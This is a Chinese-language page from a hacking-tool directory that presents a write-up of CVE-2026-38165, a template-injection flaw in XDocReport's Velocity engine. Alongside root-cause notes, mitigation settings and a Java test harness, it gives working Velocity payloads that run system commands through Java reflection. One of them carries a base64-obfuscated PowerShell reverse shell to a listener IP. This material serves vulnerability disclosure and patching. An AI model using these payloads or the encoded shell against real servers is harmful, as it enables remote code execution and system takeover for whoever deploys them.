Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-38165-SSTI- — CVE-2026-38165(SSTI) | Kitploit
工具/GitHubGitHub/at190510-cuong/cve-2026-38165-ssti-
漏洞分析代码分析漏洞利用Web应用程序漏洞利用学习与教育Payload 开发
GitHubat190510-cuong/cve-2026-38165-ssti-

CVE-2026-38165-SSTI-

CVE-2026-38165(SSTI)

查看仓库
1362个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-38165 (SSTI Velocity)

XDocReport中的服务器端模板注入(SSTI)通过Apache Velocity引擎实现远程代码执行

漏洞定义

漏洞概述

  • 服务器端模板注入(SSTI)是一种Web安全漏洞,允许攻击者向内容管理系统(CMS)和Web框架使用的模板中注入恶意代码,以发起远程攻击、获取敏感信息或执行入侵系统的操作。

  • SSTI是注入漏洞(如SQL注入、XSS等)的一种变体,攻击者利用模板系统的使用从远程部署恶意代码。当SSTI攻击成功时,攻击者可以在服务器端执行自己的代码,从而能够进行远程攻击,例如收集敏感信息、执行系统入侵操作以及访问未授权的资源。

  • SSTI漏洞通常是由于使用了不安全的模板系统,或者在将输入参数插入模板前未进行检查和处理而导致的。如果SSTI攻击成功,后果可能非常严重,给被攻击组织造成巨大损失。

业务影响

  • SSTI漏洞可能造成多种严重后果,包括:

  • 恶意代码执行:攻击者可以利用此漏洞在服务器上执行恶意代码,从而窃取数据、在系统上执行非法操作,甚至完全控制服务器。

  • 敏感信息泄露:SSTI可能允许攻击者读取、修改或删除服务器上的文件。如果这些文件包含敏感信息(如账户和密码),攻击者可轻易泄露这些信息。

  • 威胁或欺诈用户:攻击者可以通过更改网页内容或添加伪造的自定义按钮,使用SSTI进行威胁或欺诈攻击。如果用户点击这些按钮,攻击者可以窃取用户信息或在用户计算机上安装恶意软件。

严重性 严重

image

描述与影响

fr.opensagres.xdocreport.template.velocity

在OpenSAGRES XDocReport处理使用velocity引擎的DOCX模板时发现了一个服务器端模板注入(SSTI)漏洞。在某些配置下,精心构造的模板可能导致远程代码执行(RCE)。

人事管理网站允许用户上传.docx文档文件到系统。在处理过程中,应用程序使用velocity模板引擎(位于文件中)来渲染内容,但没有任何输入内容控制或过滤机制。 此漏洞允许攻击者在.docx文件(模板)中插入恶意表达式,导致服务器上的远程代码执行(RCE),并可能被利用来窃取信息或控制系统。

受影响组件

fr.opensagres.xdocreport.template.velocity — XDocReport (版本 =< 2.1.0)。

根本原因分析

https://github.com/opensagres/xdocreport/blob/master/template/fr.opensagres.xdocreport.template.velocity/src/main/java/fr/opensagres/xdocreport/template/velocity/internal/VelocityTemplateEngine.java

image

velocityEngine.evaluate(...) 是Apache Velocity的标准/"默认"方法,用于从Reader(或String)评估模板,使用Context并将结果写入Writer。它执行VTL(Velocity模板语言)语法,与Template.merge(...)相同。

evaluate与Template.merge的实际区别

  • evaluate:从Reader/String解析 → 适用于模板为动态/不可信的情况。

  • getTemplate(...).merge(...):加载已经过资源加载器处理(缓存、编码等)的模板,然后进行合并。就VTL执行能力而言,两者执行相同的表达式;主要区别在于模板的加载位置/模式。

复现步骤

  1. 用户上传包含以下payload内容的.docx文件:

image

root@kitploit:~
#set($x="abc")
#set($str=$x.getClass().forName("java.lang.String"))
#set($cha=$x.getClass().forName("java.lang.Character"))
#set($r=$x.getClass().forName("java.lang.Runtime").getRuntime().exec("whoami"))
$r.waitFor()
#set($out=$r.getInputStream())
#set($result="")
#foreach($i in [1..$out.available()])
#set($result = $result + $str.valueOf($cha.toChars($out.read())))
#end
$result

image

  1. 发现可以成功执行系统命令

image

  1. 类似地,使用以下payload:
root@kitploit:~
#set($x="abc")
#set($str=$x.getClass().forName("java.lang.String"))
#set($cha=$x.getClass().forName("java.lang.Character"))
#set($r=$x.getClass().forName("java.lang.Runtime").getRuntime().exec("cmd /c dir d:"))
$r.waitFor()
#set($out=$r.getInputStream())
#set($result="")
#foreach($i in [1..$out.available()])
#set($result = $result + $str.valueOf($cha.toChars($out.read())))
#end
$result

image

image

image

  1. 类似地
root@kitploit:~
#set($x="abc")
#set($str=$x.getClass().forName("java.lang.String"))
#set($cha=$x.getClass().forName("java.lang.Character"))
#set($r=$x.getClass().forName("java.lang.Runtime").getRuntime().exec("calc"))
$r.waitFor()
#set($out=$r.getInputStream())
#set($result="")
#foreach($i in [1..$out.available()])
#set($result = $result + $str.valueOf($cha.toChars($out.read())))
#end
$result

image

image

  1. 提升影响至RCE
  • 监听机器为wsl,IP地址为172.26.208.130

image

  • 使用以下payload进行利用:
root@kitploit:~
#set($x="abc")
#set($str=$x.getClass().forName("java.lang.String"))
#set($cha=$x.getClass().forName("java.lang.Character"))
#set($r=$x.getClass().forName("java.lang.Runtime").getRuntime().exec("powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA3ADIALgAyADYALgAyADAAOAAuADEAMwAwACIALAA5ADkAOQA5ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA=="))
$r.waitFor()
#set($out=$r.getInputStream())
#set($result="")
#foreach($i in [1..$out.available()])
#set($result = $result + $str.valueOf($cha.toChars($out.read())))
#end
$result

image

  • 将.docx文件交给xdocreport处理

image

  • 发现wsl机器获取到shell返回

image

解决方案

  • https://github.com/opensagres/xdocreport/pull/723

阻止模板中的危险反射访问

root@kitploit:~
velocityEngineProperties.setProperty(
    "runtime.introspector.uberspect",
    "org.apache.velocity.util.introspection.SecureUberspector"
);

Apache Velocity SecureUberspector类是一个沙箱内省器。

SecureUberspector将阻止:

  • java.lang.Runtime
  • java.lang.ClassLoader
  • java.lang.Process

被阻止的类列表

root@kitploit:~
velocityEngineProperties.setProperty(
    "introspector.restrict.classes",
    "java.lang.Class,
     java.lang.ClassLoader,
     java.lang.Process,
     java.lang.Runtime,
     java.lang.System,
     java.lang.Thread"
);

阻止反射包

root@kitploit:~
velocityEngineProperties.setProperty(
    "introspector.restrict.packages",
    "java.lang.reflect"
);

阻止:

  • java.lang.reflect.Method
  • java.lang.reflect.Field

设置调试环境

  • 在Main.java文件中
root@kitploit:~
package org.example;

import fr.opensagres.xdocreport.document.IXDocReport;
import fr.opensagres.xdocreport.document.registry.XDocReportRegistry;
import fr.opensagres.xdocreport.template.IContext;
import fr.opensagres.xdocreport.template.TemplateEngineKind;

import java.io.*;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.InputStream;
import java.io.OutputStream;

public class Main {

    public static void main(String[] args) {
        try {
            // 读取包含Velocity表达式的输入文件
            File docxTemplate = new File("C:\\Users\\HP\\Downloads\\vcspentest.docx"); // 输入文件
            InputStream input = new FileInputStream(docxTemplate);

//             使用Velocity加载模板
            IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Velocity);



            // 创建上下文 - 如果仅测试独立表达式,可以留空
            IContext context = report.createContext();

            // 输出到新文件
            OutputStream out = new FileOutputStream(new File("C:\\Users\\HP\\Downloads\\results.docx"));
            report.process(context, out);

            System.out.println("✅ 已成功创建result.docx文件。");
        } catch (Exception e) {
            System.err.println("❌ 处理文件时出错:");
            e.printStackTrace();
        }
    }
}
  • 需要导入的库
root@kitploit:~
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.example</groupId>
    <artifactId>vcs1</artifactId>
    <version>1.0-SNAPSHOT</version>

    <properties>
        <maven.compiler.source>18</maven.compiler.source>
        <maven.compiler.target>18</maven.compiler.target>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    </properties>

    <dependencies>
        <!-- 模板引擎:FreeMarker -->
        <dependency>
            <groupId>fr.opensagres.xdocreport</groupId>
            <artifactId>fr.opensagres.xdocreport.template.freemarker</artifactId>
            <version>2.1.0</version>
        </dependency>

        <dependency>
            <groupId>fr.opensagres.xdocreport</groupId>
            <artifactId>fr.opensagres.xdocreport.template.velocity</artifactId>
            <version>2.1.0</version>
        </dependency>

        <dependency>
            <groupId>fr.opensagres.xdocreport</groupId>
            <artifactId>fr.opensagres.xdocreport.document.docx</artifactId>
            <version>2.0.3</version>
        </dependency>
    </dependencies>
</project>

源码-汇点调试分析

  • report.process(context, out) — 这是模板被渲染/写入文件的位置

image

image

image

image

image

image

image

image

image

image

image

image image

image

image

参考资料

  • https://drive.google.com/drive/folders/1pLguRIVrqyXcy1jE35nW-wAvBR0sHb7x?usp=drive_link
下载工具